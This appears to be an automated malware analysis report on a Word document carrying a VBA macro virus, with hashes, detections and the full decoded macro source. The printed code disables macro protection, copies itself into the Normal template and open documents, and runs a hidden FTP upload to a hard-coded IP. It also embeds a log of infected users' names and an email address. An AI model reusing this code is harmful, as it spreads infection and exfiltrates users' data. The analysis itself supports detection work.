Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac753f3ab2fcfd4f…

MALICIOUS

Office (OLE)

157.5 KB Created: 2000-10-01 01:11:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-19
MD5: 2bc9f2861c8a7511e9f2242a4c69be50 SHA-1: 5ac153e3c125c5c9cea42c16e53e6e2106b18fde SHA-256: ac753f3ab2fcfd4fe2f6539b021c99b17d8cbba484897f5ec22610f6fe9082fc
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1037.004 Registry Run Keys / Startup Folder

The sample contains VBA macros that disable macro security and attempt to replicate themselves. The macro code also writes a second-stage payload to 'C:\hsf*.sys' and a configuration file to 'c:\netldx.vxd', which includes an IP address '209.201.88.110' and FTP credentials. This indicates a downloader or dropper functionality.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-7372010-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7372010-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6300 bytes
SHA-256: e2af30fdf00210cde3a534ffd6beb972497c642f1b1edbe08d5cfaf1324dd595
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
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' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
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' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
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' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
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' BCBSA
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' 11:32:13 AM - Thursday, 24 Dec 1998
' BCBSA
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' BCBSA
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' 12:03:48 PM - Wednesday, 6 Jan 1999
' Tricia
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' 11:45:55 AM - Thursday, 14 Jan 1999
' Debra C. Hopkinson
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' 09:27:34 AM - Friday, 15 Jan 1999
' Rajeev Duggirala
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' 02:35:40 PM - Thursday, 28 Jan 1999
' Krishna Devulapalli
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' 09:17:55 PM - Thursday, 4 Feb 1999
' Muralidharan Swaminathan
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' 02:49:41 PM - Monday, 8 Feb 1999
' cyber
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' xx
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' 01:02:02 PM - Friday, 19 Feb 1999
' RAMESH
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' 06:49:26 PM - Monday, 22 Feb 1999
' itm2
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' krk
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' George
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' TITANIC
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' 02:32:48 TITANIC - Thursday, 3 Jun 1999
' TITANIC1
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' libi
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' ÅíÏþ±ø
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' ComputerRoom
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' xuy
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' xuy
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' zzj
' zhaozhanjie@21cn.com



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' zsq
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' mazc
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' ma
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' mazc
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' 12:12:03 AM - Tuesday, 1 Jan 1980
' mazc
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' ¼ì3-3
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' aa
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